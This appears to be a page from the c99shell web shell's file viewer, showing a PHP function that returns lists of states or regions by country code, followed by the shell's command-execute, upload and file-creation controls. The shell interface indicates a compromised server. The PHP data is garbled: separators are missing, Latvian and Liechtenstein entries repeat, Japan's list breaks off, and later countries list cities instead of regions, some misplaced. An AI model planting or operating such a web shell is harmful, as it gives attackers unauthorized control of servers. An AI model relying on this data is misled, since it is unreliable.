'Ciego de Ávila''Camagüey''Las Tunas''Granma''Holguín''Santiago de Cuba''Guantánamo''Isla de la Juventud'
        
],
        
'CY' => [
            
'Famagusta''Kyrenia''Larnaca''Limassol''Nicosia''Paphos'
        
],
        
'CZ' => [
            
'Hlavní město Praha''Jihočeský kraj''Jihomoravský kraj''Karlovarský kraj''Královéhradecký kraj''Liberecký kraj',
            
'Moravskoslezský kraj''Olomoucký kraj''Pardubický kraj''Plzeňský kraj''Středočeský kraj''Ústecký kraj''Zlínský kraj'
        
],
        
'DK' => [
            
'Hovedstaden''Midtjylland''Nordjylland''Sjælland''Syddanmark'
        
],
        
'DJ' => [
            
'Ali Sabieh''Arta''Dikhil''Djibouti''Obock''Tadjourah'
        
],
        
'DM' => [
            
'Saint Andrew''Saint David''Saint George''Saint John''Saint Joseph''Saint Luke''Saint Mark''Saint Patrick',
            
'Saint Paul''Saint Peter'
        
],
        
'DO' => [
            
'Azua''Baoruco''Barahona''Dajabón''Distrito Nacional''Duarte''Elías Piña''El Seibo''Espaillat''Hato Mayor',
            
'Independencia''La Altagracia''La Romana''La Vega''María Trinidad Sánchez''Monseñor Nouel''Monte Cristi''Monte Plata',
            
'Pedernales''Peravia''Puerto Plata''Samaná''San Cristóbal''San Juan''San Pedro de Macorís''Sánchez Ramírez',
            
'Santiago''Santiago Rodríguez''Valverde''San José de Ocoa''San Vicente de la Vega''Santo Domingo'
        
],
        
'EC' => [
            
'Azuay''Bolívar''Cañar''Carchi''Chimborazo''Coto''Cotopaxi''El Oro''Esmeraldas''Galápagos''Guayas',
            
'Imbabura''Loja''Los Ríos''Manabí''Morona Santiago''Napo''Orellana''Pastaza''Pichincha''Tungurahua',
            
'Zamora-Chinchipe'
        
],
        
'EG' => [
            
'Alexandria''Aswan''Asyut''Beheira''Beni Suef''Cairo''Dakahlia''Damietta''Faiyum''Gharbia''Giza',
            
'Ismailia''Kafr el-Sheikh''Luxor''Matrouh''Minya''Monufia''New Valley''North Sinai''Port Said''Qalyubia',
            
'Qena''Red Sea''Sharqia''Sohag''South Sinai''Suez'
        
],
        
'SV' => [
            
'Ahuachapán''Cabañas''Chalatenango''Cuscatlán''La Libertad''La Paz''La Unión''Morazán''San Miguel',
            
'San Salvador''San Vicente''Santa Ana''Sonsonate''Usulután'
        
],
        
'GQ' => [
            
'Annobón''Bioko Norte''Bioko Sur''Centro Sur''Djibloho''Kié-Ntem''Litoral''Wele-Nzas'
        
],
        
'ER' => [
            
'Anseba''Debub''Debubawi Keyih Bahri''Gash-Barka''Maekel''Semienawi Keyih Bahri'
        
],
        
'EE' => [
            
'Harju County''Hiiu County''Ida-Viru County''Jõgeva County''Järva County''Lääne County''Lääne-Viru County',
            
'Põlva County''Pärnu County''Rapla County''Saare County''Tartu County''Valga County''Viljandi County''Võru County'
        
],
        
'ET' => [
            
'Afar''Amhara''Benishangul-Gumuz''Gambela''Harari''Oromia''Sidama''Somali''Southern Nations, Nationalities, and Peoples''Southwest Ethiopia''Tigray',
            
'Addis Ababa''Dire Dawa'
        
],
        
'FK' => [
            
'East Falkland''West Falkland'
        
],
        
'FO' => [
            
'Eysturoyar sýsla''Norðoya sýsla''Sandoyar sýsla''Streymoyar sýsla''Suðuroyar sýsla''Vága sýsla'
        
],
        
'FJ' => [
            
'Central''Eastern''Northern''Western'
        
],
        
'FI' => [
            
'Åland Islands''Central Finland''Kainuu''Kanta-Häme''Kymenlaakso''Lapland''North Karelia''North Ostrobothnia''North Savo''Ostrobothnia''Päijät-Häme''Pirkanmaa''Pohjois-Savo''South Karelia''South Ostrobothnia''South Savo''Uusimaa''Western Finland'
        
],
        
'FR' => [
            
'Auvergne-Rhône-Alpes''Bourgogne-Franche-Comté''Brittany''Centre-Val de Loire''Corsica''Grand Est''Hauts-de-France''Île-de-France''Normandy''Nouvelle-Aquitaine''Occitanie''Pays de la Loire''Provence-Alpes-Côte d\'Azur''Guadeloupe''Martinique''Guyane''La Réunion''Mayotte''Saint Pierre and Miquelon''Saint Barthélemy''Saint Martin''French Guiana''French Polynesia''New Caledonia''Wallis and Futuna''French Southern and Antarctic Lands'
        
],
        
'GF' => [
            
'French Guiana'
        
],
        
'PF' => [
            
'Marquesas Islands''Leeward Islands''Windward Islands''Tuamotu-Gambier''Austral Islands'
        
],
        
'TF' => [
            
'French Southern and Antarctic Lands'
        
],
        
'GA' => [
            
'Estuaire''Haut-Ogooué''Moyen-Ogooué''Ngounié''Nyanga''Ogooué-Ivindo''Ogooué-Lolo''Ogooué-Maritime''Woleu-Ntem'
        
],
        
'GM' => [
            
'Banjul''Central River''Lower River''North Bank''Upper River''Western'
        
],
        
'GE' => [
            
'Abkhazia''Ajaria''Guria''Imereti''Kakheti''Kvemo Kartli''Mtskheta-Mtianeti''Racha-Lechkhumi and Kvemo Svaneti''Samegrelo-Zemo Svaneti''Samtskhe-Javakheti''Shida Kartli''Tbilisi'
        
],
        
'DE' => [
            
'Baden-Württemberg''Bavaria''Berlin''Brandenburg''Bremen''Hamburg''Hesse''Lower Saxony''Mecklenburg-Vorpommern''North Rhine-Westphalia''Rhineland-Palatinate''Saarland''Saxony''Saxony-Anhalt''Schleswig-Holstein''Thuringia'
        
],
        
'GH' => [
            
'Ahafo''Ashanti''Bono''Bono East''Central''Eastern''Greater Accra''North East''Northern''Oti''Savannah''Upper East''Upper West''Volta''Western''Western North'
        
],
        
'GI' => [
            
'Gibraltar'
        
],
        
'GR' => [
            
'Attica''Central Greece''Central Macedonia''Crete''East Macedonia and Thrace''Epirus''Ionian Islands''North Aegean''Peloponnese''South Aegean''Western Greece''Western Macedonia'
        
],
        
'GL' => [
            
'Avannaata''Kujalleq''Qeqertalik''Qeqqata''Sermersooq'
        
],
        
'GD' => [
            
'Saint Andrew''Saint David''Saint George''Saint John''Saint Mark''Saint Patrick'
        
],
        
'GP' => [
            
'Guadeloupe'
        
],
        
'GU' => [
            
'Guam'
        
],
        
'GT' => [
            
'Alta Verapaz''Baja Verapaz''Chimaltenango''Chiquimula''Escuintla''Guatemala''Huehuetenango''Izabal''Jalapa''Jutiapa',
            
'Petén''Quetzaltenango''Quiché''Retalhuleu''Sacatepéquez''San Marcos''Santa Rosa''Sololá''Suchitepéquez''Totonicapán',
            
'Zacapa'
        
],
        
'GG' => [
            
'Guernsey'
        
],
        
'GN' => [
            
'Boké''Conakry''Faranah''Kankan''Kindia''Labé''Mamou''Nzérékoré'
        
],
        
'GW' => [
            
'Bafatá''Biombo''Bissau''Bolama''Cacheu''Gabu''Oio''Quinara''Tombali'
        
],
        
'GY' => [
            
'Barima-Waini''Cuyuni-Mazaruni''Demerara-Mahaica''East Berbice-Corentyne''Essequibo Islands-West Demerara''Mahaica-Berbice',
            
'Pomeroon-Supenaam''Potaro-Siparuni''Upper Demerara-Berbice''Upper Takutu-Upper Essequibo'
        
],
        
'HT' => [
            
'Artibonite''Centre''Grand\'Anse''Nippes''Nord''Nord-Est''Nord-Ouest''Ouest''Sud''Sud-Est'
        
],
        
'HM' => [
            
'Heard Island and McDonald Islands'
        
],
        
'VA' => [
            
'Vatican City'
        
],
        
'HN' => [
            
'Atlántida''Choluteca''Colón''Comayagua''Copán''Cortés''El Paraíso''Francisco Morazán''Gracias a Dios''Intibucá',
            
'Islas de la Bahía''La Paz''Lempira''Ocotepeque''Olancho''Santa Bárbara''Valle''Yoro'
        
],
        
'HK' => [
            
'Hong Kong'
        
],
        
'HU' => [
            
'Baranya''Bács-Kiskun''Békés''Borsod-Abaúj-Zemplén''Budapest''Csongrád''Fejér''Győr-Moson-Sopron''Hajdú-Bihar',
            
'Heves''Jász-Nagykun-Szolnok''Komárom-Esztergom''Nógrád''Pest''Somogy''Szabolcs-Szatmár-Bereg''Tolna''Vas''Veszprém',
            
'Zala'
        
],
        
'IS' => [
            
'Capital Region''Southern Peninsula''West''Westfjords''Northwest''Northeast''East''South'
        
],
        
'IN' => [
            
'Andhra Pradesh''Arunachal Pradesh''Assam''Bihar''Chhattisgarh''Goa''Gujarat''Haryana''Himachal Pradesh''Jharkhand',
            
'Karnataka''Kerala''Madhya Pradesh''Maharashtra''Manipur''Meghalaya''Mizoram''Nagaland''Odisha''Punjab''Rajasthan',
            
'Sikkim''Tamil Nadu''Telangana''Tripura''Uttar Pradesh''Uttarakhand''West Bengal''Andaman and Nicobar Islands''Chandigarh',
            
'Dadra and Nagar Haveli and Daman and Diu''Lakshadweep''Delhi''Puducherry'
        
],
        
'ID' => [
            
'Aceh''Bali''Banten''Bengkulu''Central Java''Central Kalimantan''Central Sulawesi''East Java''East Kalimantan''East Nusa Tenggara',
            
'Gorontalo''Jakarta''Jambi''Lampung''Maluku''North Kalimantan''North Maluku''North Sulawesi''North Sumatra''Papua''Riau',
            
'Riau Islands''South Kalimantan''South Sulawesi''South Sumatra''Southeast Sulawesi''West Java''West Kalimantan''West Nusa Tenggara',
            
'West Papua''West Sulawesi''West Sumatra''Yogyakarta'
        
],
        
'IR' => [
            
'Alborz''Ardabil''East Azerbaijan''Fars''Gilan''Golestan''Hamadan''Hormozgan''Ilam''Isfahan''Kerman''Kermanshah',
            
'North Khorasan''Razavi Khorasan''South Khorasan''Khuzestan''Kohgiluyeh and Boyer-Ahmad''Kurdistan''Lorestan''Markazi',
            
'Mazandaran''Qazvin''Qom''Semnan''Sistan and Baluchestan''Tehran''Yazd''Zanjan'
        
],
        
'IQ' => [
            
'Al-Anbar''Babil''Baghdad''Basra''Dhi Qar''Al-Qādisiyyah''Diyala''Duhok''Erbil''Karbala''Kirkuk''Maysan''Muthanna',
            
'Najaf''Ninawa''Salah Al-Din''Sulaymaniyah''Wasit'
        
],
        
'IE' => [
            
'Carlow''Cavan''Clare''Cork''Donegal''Dublin''Galway''Kerry''Kildare''Kilkenny''Laois''Leitrim''Limerick''Longford',
            
'Louth''Mayo''Meath''Monaghan''Offaly''Roscommon''Sligo''Tipperary''Waterford''Westmeath''Wexford''Wicklow'
        
],
        
'IM' => [
            
'Isle of Man'
        
],
        
'IL' => [
            
'Central District''Haifa District''Jerusalem District''Northern District''Southern District''Tel Aviv District'
        
],
        
'IT' => [
            
'Abruzzo''Aosta Valley''Apulia''Basilicata''Calabria''Campania''Emilia-Romagna''Friuli Venezia Giulia''Lazio''Liguria',
            
'Lombardy''Marche''Molise''Piedmont''Sardinia''Sicily''Trentino-South Tyrol''Tuscany''Umbria''Veneto'
        
],
        
'JM' => [
            
'Clarendon''Hanover''Kingston''Manchester''Portland''St Andrew''St Ann''St Catherine''St Elizabeth''St James''St Mary',
            
'St Thomas''Trelawny''Westmoreland'
        
],
        
'JP' => [
            
'Aichi''Akita''Aomori''Chiba''Ehime''Fukui''Fukuoka''Fukushima''Gifu''Gunma''Hiroshima''Hokkaido''Hyōgo''Ibaraki',
            
'Ishikawa',
        ],
        
'KZ' => [
            
'Aktobe''Almaty''Atyrau''East Kazakhstan''Jambyl''Karaganda''Kostanay''Kyzylorda''Mangystau''North Kazakhstan',
            
'Pavlodar''South Kazakhstan''West Kazakhstan''Zhambyl''Astana''Almaty City'
        
],
        
'KE' => [
            
'Baringo''Bomet''Bungoma''Busia''Elgeyo-Marakwet''Embu''Garissa''Homa Bay''Isiolo''Kajiado''Kakamega''Kericho',
            
'Kiambu''Kilifi''Kirinyaga''Kisii''Kisumu''Kitui''Kwale''Laikipia''Lamu''Machakos''Makueni''Mandera''Meru',
            
'Migori''Marsabit''Nairobi''Nakuru''Nandi''Narok''Nyamira''Nyandarua''Nyanza''Samburu''Siaya''Taita Taveta',
            
'Tana River''Tharaka Nithi''Trans-Nzoia''Turkana''Uasin Gishu''Vihiga''Wajir''West Pokot'
        
],
        
'KI' => [
            
'Gilbert Islands''Line Islands''Phoenix Islands'
        
],
        
'KP' => [
            
'Chagang''North Hamgyong''South Hamgyong''North Hwanghae''South Hwanghae''Kangwon''North Pyongan''South Pyongan',
            
'Ryanggang''Pyongyang''Rason''Kaesong''Nampo''Mount Kumgang'
        
],
        
'KR' => [
            
'Seoul''Busan''Daegu''Incheon''Gwangju''Daejeon''Ulsan''Sejong''Gyeonggi''Gangwon''North Chungcheong',
            
'South Chungcheong''North Jeolla''South Jeolla''North Gyeongsang''South Gyeongsang''Jeju'
        
],
        
'KW' => [
            
'Al Asimah''Hawalli''Mubarak Al Kabeer''Farwaniya''Ahmadi''Jahra''Al Jahra'
        
],
        
'KG' => [
            
'Batken''Chuy''Jalal-Abad''Naryn''Osh''Talas''Ysyk-Köl'
        
],
        
'LA' => [
            
'Attapeu''Bokeo''Bolikhamsai''Champasak''Houaphanh''Khammouane''Luang Namtha''Luang Prabang''Oudomxay''Phongsaly',
            
'Sainyabuli''Salavan''Savannakhet''Sekong''Vientiane Prefecture''Vientiane Province''Xiengkhouang''Xaisomboun'
        
],
        
'LV' => [
            
'Ādaži''Aizkraukle''Alūksne''Augšdaugava''Balvi''Bauska''Cēsis''Daugavpils''Dobele''Gulbene''Jēkabpils',
            
'Jurmala''Jurmala City''Jurmala''Jurmala City''Jurmala City''Jurmala City''Jurmala City''Jurmala City''Jurmala City'
        
],
        
'LB' => [
            
'Akkar''Baalbek-Hermel''Beirut''Beqaa''Keserwan-Jbeil''Mount Lebanon''Nabatieh''North''South'
        
],
        
'LS' => [
            
'Berea''Butha-Buthe''Leribe''Mafeteng''Maseru''Mohale\'s Hoek''Mokhotlong''Qacha\'s Nek''Quthing''Thaba-Tseka'
        
],
        
'LR' => [
            
'Bomi''Bong''Gbarpolu''Grand Bassa''Grand Cape Mount''Grand Gedeh''Grand Kru''Lofa''Margibi''Maryland''Montserrado',
            
'Nimba''River Cess''River Gee''Sinoe'
        
],
        
'LY' => [
            
'Al Bayda''Al Jufrah''Al Kufrah''Al Marj''Al Wahat''Azzawiya''Benghazi''Darnah''Ghat''Gharyan''Jabal al Akhdar',
            
'Jufrah''Misrata''Murzuq''Nalut''Niger''Sabha''Sirt''Tarhuna''Tripoli''Ubari''Wadi al Shatii''Wahat'
        
],
        
'LI' => [
            
'Balzers''Eschen''Gamprin''Mauren''Planken''Ruggell''Schaan''Schellenberg''Vaduz''Balzers''Eschen''Gamprin''Mauren',
            
'Planken''Ruggell''Schaan''Schellenberg''Vaduz'
        
],
        
'LT' => [
            
'Alytus County''Kaunas County''Klaipėda County''Marijampolė County''Panevėžys County''Šiauliai County''Tauragė County',
            
'Telšiai County''Utena County''Vilnius County'
        
],
        
'LU' => [
            
'Capellen''Clervaux''Diekirch''Echternach''Esch-sur-Alzette''Grevenmacher''Luxembourg''Mersch''Redange''Remich',
            
'Vianden''Wiltz'
        
],
        
'MO' => [
            
'Macau Peninsula''Taipa''Coloane'
        
],
        
'MK' => ['Skopje''Bitola''Prilep''Tetovo''Kumanovo''Ohrid''Strumica''Veles''Kavadarci''Stip'],
        
'MG' => ['Antananarivo''Toamasina''Fianarantsoa''Mahajanga''Toliara''Antsiranana''Miarinarivo''Ambatondrazaka''Antsiranana''Ambositra'],
        
'MW' => ['Lilongwe''Blantyre''Mzuzu''Zomba''Kasungu''Mangochi''Ntcheu''Salima''Mchinji''Dedza'],
        
'MY' => ['Kuala Lumpur''Penang''Johor''Selangor''Melaka''Perak''Kedah''Terengganu''Sabah''Sarawak'],
        
'MV' => ['Malé''Addu City''Fuvahmulah''Dharavandhoo''Thinadhoo''Kulhudhuffushi''Hinnavaru'],
        
'ML' => ['Bamako''Ségou''Kayes''Gao''Kidal''Tombouctou''Mopti''Sikasso''Koulikoro''Segou'],
        
'MT' => ['Valletta''Mosta''Birkirkara''Mellieħa''Sliema''Victoria''Qormi''St. Julian’s''San Gwann'],
        
'MH' => ['Majuro''Ebeye''Ailuk''Arno''Ebon''Jabat''Kwajalein''Lae''Maloelap'],
        
'MQ' => ['Fort-de-France''Le Lamentin''Le Robert''Schoelcher''Ducos''Rivière-Salée''Saint-Joseph''Saint-Pierre'],
        
'MR' => ['Nouakchott''Nouadhibou''Kiffa''Atar''Zouérat''Rosso''Ksar el-Barka''Aioun'],
        
'MU' => ['Port Louis''Beau Bassin-Rose Hill''Vacoas-Phoenix''Curepipe''Quatre Bornes''Triolet''Grand Baie'],
        
'YT' => ['Mamoudzou''Dzaoudzi''Sada''Chiconi''Bandrele''Kani-Kéli''Tsingoni'],
        
'MX' => ['Mexico City''Guadalajara''Monterrey''Cancún''Puebla''Mérida''Tijuana''Chihuahua''León''Saltillo'],
        
'FM' => ['Palikir''Kolonia''Weno''Chuuk''Pohnpei''Kosrae''Yap'],
        
'MD' => ['Chisinau''Tiraspol''Bălți''Bender''Briceni''Cahul''Călărași''Orhei'],
        
'MC' => ['Monaco''La Condamine''Moneghetti''Fontvieille''Les Révoires'],
        
'MN' => ['Ulaanbaatar''Darkhan''Erdenet''Mörön''Choibalsan''Zuunmod'],
        
'ME' => ['Podgorica''Nikšić''Herceg Novi''Bijelo Polje''Pljevlja''Danilovgrad'],
        
'MS' => ['Plymouth''Little Bay''Brades'],
        
'MA' => ['Rabat''Casablanca''Marrakech''Fes''Tangier''Agadir''Meknes''Oujda''Essaouira'],
        
'MZ' => ['Maputo''Beira''Nampula''Matola''Chimoio''Quelimane''Tete''Pemba''Xai-Xai'],
        
'MM' => ['Naypyidaw''Yangon''Mandalay''Mawlamyine''Bago''Pathein''Sittwe''Monywa'],
        
'NA' => ['Windhoek''Swakopmund''Walvis Bay''Oshakati''Rundu''Rehoboth''Lüderitz'],
        
'NR' => ['Yaren''Aiwo''Anabar''Baiti''Boe''Buada''Denigomodu''Ewa''Ijuw''Meneng'],
        
'NP' => ['Kathmandu''Pokhara''Lalitpur''Bhaktapur''Biratnagar''Janakpur''Butwal''Bhairahawa'],
        
'NL' => ['Drenthe''Flevoland''Friesland''Gelderland''Groningen''Limburg''North Brabant''North Holland''Overijssel''South Holland''Utrecht''Zeeland'],
        
'AN' => ['Aruba''Curaçao''Sint Maarten''Bonaire''Sint Eustatius''Saba'],
        
'NC' => ['South Province''North Province'],
        
'NZ' => ['Auckland''Wellington''Christchurch''Hamilton''Dunedin''Tauranga''Napier-Hastings''Palmerston North''Rotorua''New Plymouth'],
        
'NI' => ['Managua''León''Masaya''Chinandega''Matagalpa''Estelí''Jinotega''Rivas''Carazo'],
        
'NE' => ['Niamey''Maradi''Zinder''Agadez''Tahoua''Tillabéri''Diffa''Dosso'],
        
'NG' => ['Lagos''Kano''Ibadan''Abuja''Port Harcourt''Benin City''Kaduna''Maiduguri''Zaria''Aba'],
        
'NU' => ['Alofi'],
        
'NF' => ['Kingston''Phillip Island''Cascade Bay'],
        
'MP' => ['Saipan''Tinian''Rota'],
        
'NO' => ['Oslo''Bergen''Stavanger''Drammen''Kristiansand''Trondheim''Dundas''Haugesund''Bodø''Tromsø'],
        
'OM' => ['Muscat''Sohar''Nizwa''Salalah''Sur''Ibri''Barka''Buraimi'],
        
'PK' => ['Islamabad''Karachi''Lahore''Faisalabad''Rawalpindi''Multan''Peshawar''Quetta''Sialkot''Gujranwala'],
        
'PW' => ['Melekeok''Ngerulmud''Koror'],
        
'PS' => ['Ramallah''Gaza City''Hebron''Nablus''Jenin''Bethlehem''Tulkarm''Qalqilya'],
        
'PA' => ['Panama City''David''Colón''Santiago''Chitré''La Chorrera''Penonomé'],
        
'PG' => ['Port Moresby''Lae''Mount Hagen''Madang''Arawa''Rabaul''Goroka'],
        
'PY' => ['Asunción''Ciudad del Este''San Lorenzo''Luque''Capiatá''Encarnación'],
        
'PE' => ['Lima''Arequipa''Trujillo''Chiclayo''Piura''Cusco''Iquitos''Arequipa''Tacna'],
        
'PH' => ['Manila''Quezon City''Davao City''Cebu City''Zamboanga City''Taguig''Antipolo''Pasig'],
        
'PN' => ['Adamstown'],
        
'PL' => ['Warsaw''Kraków''Łódź''Wrocław''Poznań''Gdańsk''Szczecin''Bydgoszcz''Lublin'],
        
'PT' => ['Lisbon''Porto''Amadora''Braga''Coimbra''Funchal''Aveiro''Sintra'],
        
'PR' => ['San Juan''Bayamón''Ponce''Caguas''Carolina''Arecibo'],
        
'QA' => ['Doha''Al Rayyan''Al Wakrah''Umm Salal''Al Khor'],
        
'RE' => ['Saint-Denis''Saint-Paul''Saint-Pierre''Saint-Louis''Le Tampon''Saint-André'],
        
'RO' => ['Bucharest''Cluj-Napoca''Timișoara''Iași''Constanța''Craiova''Brașov''Galați'],
        
'RU' => ['Moscow''Saint Petersburg''Novosibirsk''Yekaterinburg''Nizhny Novgorod''Samara''Omsk''Kazan'],
        
'RW' => ['Kigali''Butare''Gitarama''Musanze''Rubavu''Nyamata''Kayonza'],
        
'SH' => ['Jamestown''Longwood''Ruperts''Glen''White Gate'],
        
'KN' => ['Basseterre''Charlestown'],
        
'LC' => ['Castries''Vieux Fort''Gros Islet''Soufrière''Dennery'],
        
'PM' => ['Saint-Pierre''Miquelon'],
        
'VC' => ['Kingstown''Georgetown''Barrouallie''Calliaqua''Layou'],
        
'WS' => ['Apia''Savai\'i''Falealupo''Tuasivi''Leulumoega'],
        
'SM' => ['San Marino'],
        
'ST' => ['São Tomé''Principe'],
        
'SA' => ['Riyadh''Jeddah''Mecca''Medina''Dammam''Khobar''Ta’if''Buraidah'],
        
'SN' => ['Dakar''Thiès''Saint-Louis''Ziguinchor''Kaolack''Diourbel''Tambacounda'],
        
'RS' => ['Belgrade''Novi Sad''Niš''Kragujevac''Kraljevo''Subotica'],
        
'SC' => ['Victoria'],
        
'SL' => ['Freetown''Bo''Kenema''Makeni''Koidu'],
        
'SG' => ['Singapore'],
        
'SK' => ['Bratislava''Košice''Prešov''Nitra''Trnava''Žilina'],
        
'SI' => ['Ljubljana''Maribor''Celje''Kranj''Novo Mesto'],
        
'SB' => ['Honiara''Gizo''Munda''Auki''Tulagi'],
        
'SO' => ['Mogadishu''Hargeisa''Kismayo''Baidoa''Burao'],
        
'ZA' => ['Pretoria''Cape Town''Johannesburg''Durban''Port Elizabeth''Bloemfontein''East London'],
        
'GS' => ['King Edward Point''Bird Island'],
        
'ES' => ['Madrid''Barcelona''Valencia''Sevilla''Zaragoza''Malaga''Murcia''Palma de Mallorca''Las Palmas''Bilbao'],
        
'LK' => ['Colombo''Kandy''Galle''Jaffna''Anuradhapura''Negombo''Trincomalee'],
        
'SD' => ['Khartoum''Omdurman''Port Sudan''Nyala''El Obeid''Kassala''Juba'],
        
'SR' => ['Paramaribo''Nickerie''Brokopondo''Albina'],
        
'SJ' => ['Longyearbyen''Barentsburg'],
        
'SZ' => ['Mbabane''Manzini''Lobamba''Nhlangano'],
        
'SE' => ['Stockholm''Gothenburg''Malmö''Uppsala''Västerås''Linköping''Östersund''Lund'],
        
'CH' => ['Zurich''Geneva''Basel''Bern''Lausanne''Lucerne''St. Moritz''Zurich'],
        
'SY' => ['Damascus''Aleppo''Homs''Latakia''Hama''Deir ez-Zor''Daraa'],
        
'TW' => ['Taipei''Kaohsiung''Taichung''Tainan''Keelung''Hsinchu'],
        
'TJ' => ['Dushanbe''Khujand''Kulob''Istaravshan'],
        
'TZ' => ['Dodoma''Dar es Salaam''Arusha''Mwanza''Mbeya''Morogoro'],
        
'TH' => ['Bangkok''Chiang Mai''Phuket''Ayutthaya''Pattaya''Hua Hin''Chiang Rai'],
        
'TL' => ['Dili''Baucau''Same''Maliana'],
        
'TG' => ['Lomé''Sokodé''Kara''Tsevie'],
        
'TK' => ['Atafu''Fakaofo''Nukunonu'],
        
'TO' => ['Nukuʻalofa''Neiafu''Vavaʻu'],
        
'TT' => ['Port of Spain''San Fernando''Scarborough'],
        
'TN' => ['Tunis''Sousse''Sfax''Kairouan''Monastir''Nabeul''Bizerte'],
        
'TR' => ['Ankara''Istanbul''Izmir''Bursa''Antalya''Adana''Gaziantep''Konya'],
        
'TM' => ['Ashgabat''Mary''Turkmenabat''Dashoguz'],
        
'TV' => ['Funafuti'],
        
'UG' => ['Kampala''Entebbe''Mbarara''Jinja''Gulu'],
        
'UA' => ['Kiev''Kharkiv''Odessa''Dnipro''Lviv''Donetsk'],
        
'AE' => ['Abu Dhabi''Dubai''Sharjah''Al Ain''Ajman'],
        
'GB' => ['London''Manchester''Birmingham''Liverpool''Leeds''Glasgow''Edinburgh'],
        
'US' => ['Washington, D.C.''New York City''Los Angeles''Chicago''Houston''Phoenix''San Antonio''San Diego''Dallas'],
        
'UY' => ['Montevideo''Salto''Paysandú''Maldonado''Rivera'],
        
'UZ' => ['Tashkent''Samarkand''Bukhara''Andijan''Fergana'],
        
'VU' => ['Port Vila''Luganville'],
        
'VE' => ['Caracas''Maracaibo''Valencia''Barquisimeto''Mérida''Maracay'],
        
'VN' => ['Hanoi''Ho Chi Minh City''Da Nang''Hai Phong''Can Tho'],
        
'EH' => ['Laayoune''Dakhla'],
        
'YE' => ['Sanaa''Aden''Taiz''Ibb''Al Hudaydah'],
        
'ZM' => ['Lusaka''Kitwe''Ndola''Livingstone''Chingola'],
        
'ZW' => ['Harare''Bulawayo''Mutare''Gweru''Kwekwe']
    ];

    if (
array_key_exists($countryCode$states)) {
        return 
$states[$countryCode];
    } else {
        return 
"States not found for this country code.";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0091 ]--